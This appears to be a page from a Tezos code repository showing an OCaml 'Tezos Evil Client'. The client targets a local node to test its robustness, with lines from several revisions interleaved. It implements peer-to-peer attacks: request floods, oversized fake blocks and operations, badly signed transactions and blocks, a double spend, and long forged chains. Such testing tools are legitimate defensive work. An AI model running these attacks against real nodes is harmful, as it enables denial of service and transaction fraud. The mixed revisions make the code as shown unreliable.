ligo/bin_attacker/attacker_minimal.ml

321 lines
12 KiB
OCaml
Raw Normal View History

2017-01-02 16:33:11 +04:00
(**************************************************************************)
(* *)
2017-11-14 03:36:14 +04:00
(* Copyright (c) 2014 - 2017. *)
2017-01-02 16:33:11 +04:00
(* Dynamic Ledger Solutions, Inc. <contact@tezos.com> *)
(* *)
(* All rights reserved. No warranty, explicit or implicit, provided. *)
(* *)
(**************************************************************************)
open Format
2017-01-14 16:14:17 +04:00
include Logging.Make(struct let name = "attacker" end)
2017-01-02 16:33:11 +04:00
2017-02-25 02:17:00 +04:00
module Proto = Client_embedded_proto_alpha
2017-01-02 16:33:11 +04:00
(* the genesis block and network *)
let genesis_block_hashed = Block_hash.of_b58check
"BLockGenesisGenesisGenesisGenesisGenesisGeneskvg68z"
2017-01-02 16:33:11 +04:00
let network = Store.Net genesis_block_hashed
let network = Store.Net_id.Id genesis_block_hashed
2017-01-02 16:33:11 +04:00
(* the bootstrap accounts and actions like signing to do with them *)
let source_account = List.nth Proto.Bootstrap_storage.accounts 4
let destination_account = List.nth Proto.Bootstrap_storage.accounts 0
let wrong_account = List.nth Proto.Bootstrap_storage.accounts 1
let another_account = List.nth Proto.Bootstrap_storage.accounts 2
let signed = Ed25519.append_signature source_account.secret_key
let signed_wrong = Ed25519.append_signature wrong_account.secret_key
(* forge a block from a list of operations *)
let block_forged ?prev ops =
let from_int64 x =
[ MBytes.of_string Proto.Constants_repr.version_number ;
Proto.Fitness_repr.int64_to_bytes x ] in
let pred = match prev with None -> genesis_block_hashed | Some x -> x in
let block ops = Store.Block_header.{ net_id = network ;
predecessor = pred ;
timestamp = Time.now () ;
fitness = from_int64 1L;
operations = ops } in
2017-01-02 16:33:11 +04:00
let open Proto in
let generate_proof_of_work_nonce () =
Sodium.Random.Bigbytes.generate
Proto.Tezos_context.Constants.proof_of_work_nonce_size in
let generate_seed_nonce () =
match Proto.Nonce_storage.of_bytes @@
Sodium.Random.Bigbytes.generate
Proto.Tezos_context.Constants.nonce_length with
| Error _ -> assert false
| Ok nonce -> nonce in
Block_repr.forge_header (block ops)
Block_repr.{
2017-11-01 15:07:33 +04:00
baking_slot = {level = Raw_level_repr.of_int32_exn 1l ; priority = 0l } ;
2017-01-02 16:33:11 +04:00
seed_nonce_hash = Proto.Nonce_storage.hash (generate_seed_nonce ());
proof_of_work_nonce = generate_proof_of_work_nonce () ;
}
(* forge a transaction *)
let tx_forged ?dest amount fee =
let open Proto.Operation_repr in
let open Proto.Tez_repr in
let open Proto.Contract_repr in
let trgt
= match dest with
None -> destination_account
| Some dest -> dest in
let src = source_account in
let tx = Transaction
{ amount = of_cents_exn amount ;
parameters = None ;
destination = default_contract trgt.public_key_hash ; } in
let op = Sourced_operations
( Manager_operations
{ source = default_contract src.public_key_hash ;
public_key = Some src.public_key ;
fee = of_cents_exn fee ;
counter = 1l ;
operations = [tx] ; }) in
2017-01-02 16:33:11 +04:00
forge { net_id = network } op
(* forge a list of proposals, california eat your heart out *)
let props_forged period props =
let open Proto.Operation_repr in
let src = source_account in
let props = Proposals {
period = period ;
proposals = props } in
let op = Sourced_operations (Delegate_operations {
source = src.public_key ;
operations = [props] }) in
forge { net_id = network } op
(* "forge" a ballot *)
let ballot_forged period prop vote =
let open Proto.Operation_repr in
let src = source_account in
let ballot = Ballot {
period = period ;
proposal = prop ;
ballot = vote
} in
2017-01-02 16:33:11 +04:00
let op = Sourced_operations (Delegate_operations {
source = src.public_key ;
operations = [ballot] }) in
forge { net_id = network } op
2017-01-14 16:14:17 +04:00
let identity = P2p_types.Identity.generate Crypto_box.default_target
2017-01-02 16:33:11 +04:00
(* connect to the network, run an action and then disconnect *)
let try_action addr port action =
2017-01-14 16:14:17 +04:00
let socket = Lwt_unix.socket PF_INET6 SOCK_STREAM 0 in
let uaddr = Ipaddr_unix.V6.to_inet_addr addr in
Lwt_unix.connect socket (Lwt_unix.ADDR_INET (uaddr, port)) >>= fun () ->
let io_sched = P2p_io_scheduler.create ~read_buffer_size:(1 lsl 14) () in
let conn = P2p_io_scheduler.register io_sched socket in
P2p_connection.authenticate
~proof_of_work_target:Crypto_box.default_target
~incoming:false
conn
(addr, port)
identity Distributed_db.Raw.supported_versions >>=? fun (_, auth_fd) ->
P2p_connection.accept auth_fd Distributed_db.Raw.encoding >>= function
2017-01-14 16:14:17 +04:00
| Error _ -> failwith "Connection rejected by peer."
| Ok conn ->
action conn >>=? fun () ->
P2p_connection.close conn >>= fun () ->
return ()
2017-01-02 16:33:11 +04:00
let replicate n x =
let rec replicate_acc acc n x =
if n <= 0 then acc else replicate_acc (x :: acc) (n-1) x in
replicate_acc [] n x
let send conn (msg : Distributed_db.Message.t) =
P2p_connection.write conn (P2p.Raw.Message msg)
2017-01-14 16:14:17 +04:00
let request_block_times block_hash n conn =
2017-01-02 16:33:11 +04:00
let open Block_hash in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"requesting %a block %d times"
pp_short block_hash n >>= fun () ->
2017-01-02 16:33:11 +04:00
let block_hashes = replicate n block_hash in
send conn (Get_block_headers (network, block_hashes))
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let request_op_times op_signed n conn =
2017-01-02 16:33:11 +04:00
let open Operation_hash in
let op_hash = hash_bytes [op_signed] in
2017-01-14 16:14:17 +04:00
lwt_log_notice "sending %a transaction" pp_short op_hash >>= fun () ->
send conn (Operation op_signed) >>=? fun () ->
lwt_log_notice
"requesting %a transaction %d times"
pp_short op_hash n >>= fun () ->
2017-01-02 16:33:11 +04:00
let op_hashes = replicate n op_hash in
2017-01-14 16:14:17 +04:00
send conn (Get_operations op_hashes)
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let send_block_size n conn =
2017-01-02 16:33:11 +04:00
let bytes = MBytes.create n in
let open Block_hash in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating fake %d byte block %a" n pp_short (hash_bytes [bytes]) >>= fun () ->
send conn (Block bytes)
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let send_protocol_size n conn =
2017-01-02 16:33:11 +04:00
let bytes = MBytes.create n in
let open Protocol_hash in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating fake %d byte protocol %a"
n pp_short (hash_bytes [bytes]) >>= fun () ->
send conn (Protocol bytes)
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let send_operation_size n conn =
2017-01-02 16:33:11 +04:00
let op_faked = MBytes.create n in
let op_hashed = Operation_hash.hash_bytes [op_faked] in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating fake %d byte operation %a"
n Operation_hash.pp_short op_hashed >>= fun () ->
send conn (Operation op_faked) >>=? fun () ->
2017-01-02 16:33:11 +04:00
let block = signed (block_forged [op_hashed]) in
let block_hashed = Block_hash.hash_bytes [block] in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating block %a with operation"
Block_hash.pp_short block_hashed >>= fun () ->
send conn (Block block)
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let send_operation_bad_signature () conn =
2017-01-02 16:33:11 +04:00
let open Operation_hash in
let signed_wrong_op = signed_wrong (tx_forged 5L 1L) in
let hashed_wrong_op = hash_bytes [signed_wrong_op] in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating operation %a with wrong signature"
pp_short hashed_wrong_op >>= fun () ->
send conn (Operation signed_wrong_op) >>=? fun () ->
2017-01-02 16:33:11 +04:00
let block = signed (block_forged [hashed_wrong_op]) in
let block_hashed = Block_hash.hash_bytes [block] in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating block %a with operation"
Block_hash.pp_short block_hashed >>= fun () ->
send conn (Block block)
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let send_block_bad_signature () conn =
2017-01-02 16:33:11 +04:00
let open Block_hash in
let signed_wrong_block = signed_wrong (block_forged []) in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating block %a with wrong signature"
pp_short (hash_bytes [signed_wrong_block]) >>= fun () ->
send conn (Block signed_wrong_block)
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let double_spend () conn =
2017-01-02 16:33:11 +04:00
let spend account =
let op_signed = signed (tx_forged ~dest:account 199999999L 1L) in
let op_hashed = Operation_hash.hash_bytes [op_signed] in
let block_signed = signed (block_forged [op_hashed]) in
let block_hashed = Block_hash.hash_bytes [block_signed] in
2017-01-14 16:14:17 +04:00
lwt_log_notice
"propagating operation %a"
Operation_hash.pp_short op_hashed >>= fun () ->
send conn (Operation op_signed) >>=? fun () ->
lwt_log_notice
"propagating block %a"
Block_hash.pp_short block_hashed >>= fun () ->
send conn (Block block_signed) in
spend destination_account >>=? fun () ->
spend another_account
2017-01-02 16:33:11 +04:00
2017-01-14 16:14:17 +04:00
let long_chain n conn =
lwt_log_notice "propogating %d blocks" n >>= fun () ->
2017-01-02 16:33:11 +04:00
let prev_ref = ref genesis_block_hashed in
2017-01-14 16:14:17 +04:00
let rec loop k =
if k < 1 then
return ()
else
2017-01-02 16:33:11 +04:00
let block = signed (block_forged ~prev:!prev_ref []) in
2017-01-14 16:14:17 +04:00
prev_ref := Block_hash.hash_bytes [block] ;
send conn (Block block) >>=? fun () ->
loop (k-1) in
2017-01-02 16:33:11 +04:00
loop n
2017-01-14 16:14:17 +04:00
let lots_transactions amount fee n conn =
2017-01-02 16:33:11 +04:00
let signed_op = signed (tx_forged amount fee) in
2017-01-14 16:14:17 +04:00
let rec loop k =
if k < 1 then
return ()
else
send conn (Operation signed_op) >>=? fun () ->
loop (k-1) in
2017-01-02 16:33:11 +04:00
let ops = replicate n (Operation_hash.hash_bytes [signed_op]) in
let signed_block = signed (block_forged ops) in
2017-01-14 16:14:17 +04:00
lwt_log_notice "propogating %d transactions" n >>= fun () ->
loop n >>=? fun () ->
lwt_log_notice
"propagating block %a with wrong signature"
Block_hash.pp_short (Block_hash.hash_bytes [signed_block]) >>= fun () ->
send conn (Block signed_block)
2017-01-02 16:33:11 +04:00
let main () =
2017-01-14 16:14:17 +04:00
let addr = Ipaddr.V6.localhost in
2017-01-02 16:33:11 +04:00
let port = 9732 in
let run_action action = try_action addr port action in
2017-01-14 16:14:17 +04:00
let run_cmd_unit lwt =
Arg.Unit begin fun () ->
Lwt_main.run begin
lwt () >>= function
| Ok () -> Lwt.return_unit
| Error err ->
lwt_log_error "Error: %a" pp_print_error err >>= fun () ->
Lwt.return_unit
end
end in
let run_cmd_int_suffix lwt =
Arg.String begin fun str ->
2017-01-02 16:33:11 +04:00
let last = str.[String.length str - 1] in
let init = String.sub str 0 (String.length str - 1) in
let n =
if last == 'k' || last == 'K'
then int_of_string init * 1 lsl 10
else if last == 'm' || last == 'M'
then int_of_string init * 1 lsl 20
else if last == 'g' || last == 'G'
then int_of_string init * 1 lsl 30
else int_of_string str in
2017-01-14 16:14:17 +04:00
Lwt_main.run begin
lwt n >>= function
| Ok () -> Lwt.return_unit
| Error err ->
lwt_log_error "Error: %a" pp_print_error err >>= fun () ->
Lwt.return_unit
end
end in
2017-01-02 16:33:11 +04:00
let cmds =
[( "-1",
run_cmd_int_suffix (run_action << request_block_times genesis_block_hashed),
"[N {,K,M,G}] Attempt to request to download N {,kilo,mega,giga}blocks.")
;( "-2",
run_cmd_int_suffix (run_action << request_op_times (signed (tx_forged 5L 1L))),
"[N {,K,M,G}] Attempt to request to download N {,kilo,mega,giga}ops.")
;( "-3",
run_cmd_int_suffix (run_action << send_block_size),
"[N {,K,M,G}] Attempt to propagate an N {,kilo,mega,giga}byte fake block.")
;( "-4",
run_cmd_int_suffix (run_action << send_operation_size),
"[N {,K,M,G}] Attempt to propagate an N {,kilo,mega,giga}byte fake operation.")
;( "-5",
run_cmd_int_suffix (run_action << send_protocol_size),
"[N {,K,M,G}] Attempt to propagate an N {,kilo,mega,giga}byte fake protocol.")
;( "-6",
run_cmd_unit (run_action << send_operation_bad_signature),
"Attempt to propagate a transaction with a bad signature.")
;( "-7",
run_cmd_unit (run_action << send_block_bad_signature),
"Attempt to propagate a block with a bad signature.")
;( "-8",
run_cmd_unit (run_action << double_spend),
"Attempt to send the same transaction in two blocks")
; ( "-9",
run_cmd_int_suffix (run_action << long_chain),
"[N {,K,M,G}] Attempt to send a chain of N {,kilo,mega,giga}blocks")
; ( "-10",
run_cmd_int_suffix (run_action << lots_transactions 0L 0L),
"[N {,K,M,G}] Attempt to send N {,kilo,mega,giga}ops")
] in
Arg.parse cmds print_endline "Tezos Evil Client"